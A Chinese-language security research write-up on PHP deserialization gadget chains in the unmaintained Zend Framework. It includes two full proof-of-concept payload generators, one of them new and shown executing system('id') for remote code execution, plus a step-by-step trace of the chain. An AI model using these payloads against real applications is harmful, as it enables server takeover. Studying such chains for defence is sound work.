在推特上的PT SWARM账号发布了一条消息。
一个名为Zend Framework的php框架出现了新的gadget chain,可导致RCE。笔者尝试复现,但失败了。所幸,我基于此链,发现在这个框架的最新版本中的另一条链。
这里使用vscode的ssh链接Ubuntu虚拟机,Ubuntu虚拟机内开有php7.2+nginx+xdebug的docker环境。使用composer安装框架。
这里偷懒,使用官方提供的MVC骨架,安装指令: composer create-project zendframework/skeleton-application path/to/install
。根据下链,有一些包这个骨架还没安装。使用composer require
安装zendframework/zend-filter
、zendframework/zend-log
、zendframework/zend-mail
。
这里放 复现环境,使用docker-compose up -d
即可。
首先需要注意的是,ZF框架已经停止维护了。这是一个相当有年头的框架了,我估计不会发cve,要不然也不会公布…
原gadget chain
_writers = $x;
}
}
class Zend_Log_Writer_Mail
{
protected $_eventsToMail;
protected $_layoutEventsToMail;
protected $_mail;
protected $_layout;
protected $_subjectPrependText;
public function __construct(
$eventsToMail,
$layoutEventsToMail,
$mail,
$layout
) {
$this->_eventsToMail = $eventsToMail;
$this->_layoutEventsToMail = $layoutEventsToMail;
$this->_mail = $mail;
$this->_layout = $layout;
$this->_subjectPrependText = null;
}
}
class Zend_Mail
{
}
class Zend_Layout
{
protected $_inflector;
protected $_inflectorEnabled;
protected $_layout;
public function __construct(
$inflector,
$inflectorEnabled,
$layout
) {
$this->_inflector = $inflector;
$this->_inflectorEnabled = $inflectorEnabled;
$this->_layout = '){}' . $layout . '/*';
}
}
class Zend_Filter_Callback
{
protected $_callback = "create_function";
protected $_options = [""];
}
class Zend_Filter_Inflector
{
protected $_rules = [];
public function __construct()
{
$this->_rules['script'] = [new Zend_Filter_Callback()];
}
}
$code = "phpinfo();exit;";
$a = new \Zend_Log(
[new \Zend_Log_Writer_Mail(
[1],
[],
new \Zend_Mail,
new \Zend_Layout(
new Zend_Filter_Inflector(),
true,
$code
)
)]
);
echo urlencode(serialize(['test' => $a]));
我把序列化数据打进去后发现这些类都变成了匿名类,简而言之就是ClassLoader没有找到这些类。这就很怪了。之后才发现,这些类的命名使用的是psr-0
的规范。这个规范是放在以前php没有命名空间的时候使用的,早过时了。现在是psr-4
。composer默认也是按照psr-4
的规范安装的。
也就是说,这个链的可利用版本大致是相当古老的了(
我尝试安装更老旧版本的ZF框架。果然,老版本框架要求php版本在5.3以下……于是不打算继续复现…
我尝试将上面poc
的代码转换为psr-4
规范,发现有一些类还有,有一些类则完全不在了,例如Zend_Layout
类在ZF包的新版本中就没有。
我尝试利用现有的类进行测试,最终在上链基础上找到了新版本的链。
namespace Zend\Log {
class Logger
{
protected $writers;
function __construct()
{
$this->writers = [new \Zend\Log\Writer\Mail()];
}
}
}
namespace Zend\Log\Writer {
class Mail {
protected $mail;
protected $eventsToMail;
protected $subjectPrependText;
function __construct()
{
$this->mail = new \Zend\View\Renderer\PhpRenderer();
$this->eventsToMail = ["id"];
$this->subjectPrependText = null;
}
}
}
namespace Zend\View\Renderer {
class PhpRenderer {
private $__helpers;
function __construct()
{
$this->__helpers = new \Zend\View\Resolver\TemplateMapResolver();
}
}
}
namespace Zend\View\Resolver {
class TemplateMapResolver {
protected $map;
function __construct()
{
$this->map = [
"setBody" => "system",
];
}
}
}
namespace {
$payload = new \Zend\Log\Logger();
echo urlencode(serialize($payload));
}
/*
OUTPUT:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
*/
对此链进行调试
// Zend\Log\Logger
public function __destruct()
{
foreach ($this->writers as $writer) {
try {
$writer->shutdown();
} catch (\Exception $e) {
}
}
}
起点是Zend\Log\Logger
类的__destruct
方法,这其实就是复现的那条链的Zend_Log
类,新版本改名为此。
可以看到这里调用了一个变量$writer
的shutdown
方法。那么接下来就有两个思路。
$writer
设为没有shutdown
方法的实例,调用其__call
方法$writer
设为有shutdown
方法的实例,调用其shutdown
方法我这里找到了Zend\Log\Writer\Mail
类有这个shutdown
方法,同时找到了一个比较好用的__call
方法。
public function shutdown()
{
if (empty($this->eventsToMail)) {
return;
}
if ($this->subjectPrependText !== null) {
$numEntries = $this->getFormattedNumEntriesPerPriority();
$this->mail->setSubject("{$this->subjectPrependText} ({$numEntries})");
}
$this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));
try {
$this->transport->send($this->mail);
} catch (TransportException\ExceptionInterface $e) {
trigger_error(
"unable to send log entries via email; " .
"message = {$e->getMessage()}; " .
"code = {$e->getCode()}; " .
"exception class = " . get_class($e),
E_USER_WARNING
);
}
}
这个方法调用了很多其它的方法,一开始没什么思路,再看看刚才说的__call
方法。
// Zend\View\Renderer\PhpRenderer
public function __call($method, $argv)
{
$plugin = $this->plugin($method);
if (is_callable($plugin)) {
return call_user_func_array($plugin, $argv);
}
return $plugin;
}
可以看到,call_user_func_array
并没有限制类(通常会这么写call_user_func_array([$this, $method], $argv)
以防止调用类外方法)。这里可能会导致RCE,跟入plugin
方法
public function getHelperPluginManager()
{
if (null === $this->__helpers) {
$this->setHelperPluginManager(new HelperPluginManager(new ServiceManager()));
}
return $this->__helpers;
}
public function plugin($name, array $options = null)
{
return $this->getHelperPluginManager()->get($name, $options);
}
跟入后首先会调用getHelperPluginManager
方法,其返回值可以被控制。问题就是接下来的get
方法了。这里找到一个好用的get
方法。
// Zend\View\Resolver\TemplateMapResolver
public function has($name)
{
return array_key_exists($name, $this->map);
}
public function get($name)
{
if (! $this->has($name)) {
return false;
}
return $this->map[$name];
}
Zend\View\Resolver\TemplateMapResolver
类中的get
方法明显是可以控制返回值的。那么之前plugin
的返回值也就可以随心所欲了。之后调用__call
方法里的call_user_func_array
的第一个参数就随便我们控制了。
但现在还有一个问题,就是call_user_func_array
的第二个参数无法控制。这时我想起了之前的shutdown
方法。
public function shutdown()
{
if (empty($this->eventsToMail)) {
return;
}
if ($this->subjectPrependText !== null) {
$numEntries = $this->getFormattedNumEntriesPerPriority();
$this->mail->setSubject("{$this->subjectPrependText} ({$numEntries})");
}
/* 注意这一句 */
$this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));
try {
$this->transport->send($this->mail);
} catch (TransportException\ExceptionInterface $e) {
trigger_error(
"unable to send log entries via email; " .
"message = {$e->getMessage()}; " .
"code = {$e->getCode()}; " .
"exception class = " . get_class($e),
E_USER_WARNING
);
}
}
很明显,我们想让终点的call_user_func_array
的第二个参数有值。需要之前调用不存在方法时有参数。很明显,上面shutdown
方法里有这么一句符合我们要求。
$this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));
首先可以调用__call
方法,然后$this->eventsToMail
经过implode
函数可控。很明显,这个方法的参数可控,直接芜湖。
调用堆栈:
可以看到,上面这样一条gadget
链的寻找并没有那么困难。关键便是抓住php
本身的特性,才能运用得灵活自如。